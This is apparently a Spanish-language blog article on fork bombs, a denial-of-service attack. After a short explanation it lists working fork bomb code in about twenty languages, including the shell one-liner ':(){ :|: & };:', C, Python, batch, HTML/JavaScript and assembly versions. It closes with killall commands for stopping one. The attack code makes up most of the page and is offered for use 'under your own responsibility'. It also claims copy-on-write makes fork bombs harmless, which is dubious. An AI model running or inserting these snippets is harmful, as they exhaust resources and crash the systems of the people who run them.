Ejemplos de Fork Bomb (bomba fork)

Ejemplos de Fork Bomb (bomba fork).

Una Bomba Fork, (también conocida como wabbit) es un ataque de denegación de servicio en el que un proceso se replica continuamente, con el único fin de intentar agotar los recursos del sistema, ralentizando o incluso bloqueando todo el sistema por la falta de recursos.

En los sistemas operativos derivados de Unix, las bombas fork se escriben para realizar llamadas al sistema con el método de horquillas. Como los procesos bifurcados son replicas de la primera aplicación o comando, una vez que reanudan la ejecución desde la siguiente dirección, continúan bifurcando sin parar creando en si mismo un bucle infinito, generando un consumo exponencial de los procesos del sistema.

En los sistemas mas actualizados una «Fork Bomb«, no tendría un efecto fatal, pues la mayoría de las distribuciones linux usan «copy-on-write» cuando se bifurcan nuevos procesos.

Ahora vemos unos ejemplos funcionales de bombas fork escritos en diferentes lenguajes.

Ten cuidado cuando los ejecutes, puedes saturar tu propio sistema y parar una Fork Bomb… no es fácil.

Ejemplos de Fork Bomb (bomba fork) 1

 

Ejemplos de Fork Bomb

 

bomb.bash

#!/bin/bash
./$0|./$0&     # $0 is the name of the shell script itself

bomb.bat
%0|%0

bomb.c
#include <unistd.h>

int main()
{
	while(1) fork();
}

bomb.cc
#include <cstdlib>

int main(int argc, char **argv)
{
	while (1) system(argv[0]);
	return 0;
}

bomb.cs
using System;

namespace forkbomb
{
    class Program
    {
        static void Main(string[] args)
        {
            System.Diagnostics.Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location);
            System.Diagnostics.Process.Start(System.Reflection.Assembly.GetEntryAssembly().Location);
            while (true)
            {
                Console.ReadKey();
            }
        }
    }
}

bomb.erl
%% escript bomb.erl +P 134217727

-module(bomb).
-export([loop/0]).
-import(lists, [map/2]).
-import(pg2, [pid/0, join/2, get_members/1]).

loop() ->
  join(forks, pid()),

  receive
    _ -> spawn(bomb, loop, []),
         loop()
  end.

main(_) ->
  spawn(bomb, loop, []),

  case get_members(forks) of
    [Pid|Pids] -> map(fun(P) -> P ! 1 end, [Pid|Pids]);
    _ -> error
  end,

  main(1).

bomb.go
package main

func main() {
	for {
		go main()
	}
}

bomb.hs
import Control.Monad (forever)
import System.Posix.Process (forkProcess)

forkBomb = forever $ forkProcess forkBomb

main = forkBomb

bomb.html
<html>
  <body>
    <script>
      setInterval(function() {
        var w = window.open();
        w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
      }, 10);
    </script>
  </body>
</html>

bomb.js
(function f() { require('child_process').spawn(process.argv[0], ['-e', '(' + f.toString() + '());']); }());

bomb.php
<? while(pcntl_fork()|1); ?>

bomb.pl
fork while fork

bomb.py
import os
while 1:
	os.fork()

bomb.rb
loop { fork { load(__FILE__) } }

bomb.rs
// bomb.rs
// Chad Sharp

#[allow(unconditional_recursion)]
fn main() {
    std::thread::spawn(main);
    main();
}

bomb.s
section .text
    global _start

_start:
    mov eax,2
    int 0x80
    jmp _start

bomb.sh
#!/bin/sh
:(){ :|: & };:

bomb.vbs
While True CreateObject("WScript.Shell").Exec("wscript.exe " & Wscript.ScriptName) Wend

bomb.java
public class forkbomb
{
	public static void main(String[] args)
	{
		Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "forkbomb"});
	}
}

Ejemplos de Fork Bomb (bomba fork) 2

 

Para frenar una Fork Bomb, ejecuta alguno de los siguientes comandos con el nombre del proceso correspondiente (no siempre es efectivo).

killall -STOP processWithBombName

killall -KILL processWithBombName

killall -9 processWithBombName

 

Usa estos ejemplos bajo tu propia responsabilidad.

 

Agregar comentario